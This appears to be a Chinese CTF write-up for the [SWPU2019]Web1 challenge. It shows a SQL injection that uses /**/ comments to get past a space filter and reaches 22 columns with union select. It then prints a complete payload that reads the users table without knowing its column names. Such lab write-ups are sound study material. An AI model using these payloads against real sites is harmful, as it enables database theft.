当前位置: 代码迷 >> 综合 >> 第五十五题——[SWPU2019]Web1
  详细解决方案

第五十五题——[SWPU2019]Web1

热度:78   发布时间:2023-11-19 19:33:59.0

题目地址:https://buuoj.cn/challenges

解题思路

阴间题目,需要手动测试到22列,拜拜了您嘞,参考链接:点这里跳转

获取flag

  1. 使用union select 1,2,3可以看到过滤了空格,使unionselect合在了一起,可以使用/**/代替空格
    在这里插入图片描述

  2. 使用union/**/select/**/1,2,3,.....,22'看到了回显
    在这里插入图片描述

  3. 在使用union select查询不存在的数据时会构造查询的列名以及值满足查询要求,所以再不知道表明时,可以构造表名,查询出那一列的内容,以获取flag,构造:1'/**/union/**/select/**/1, (select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'获取flag
    在这里插入图片描述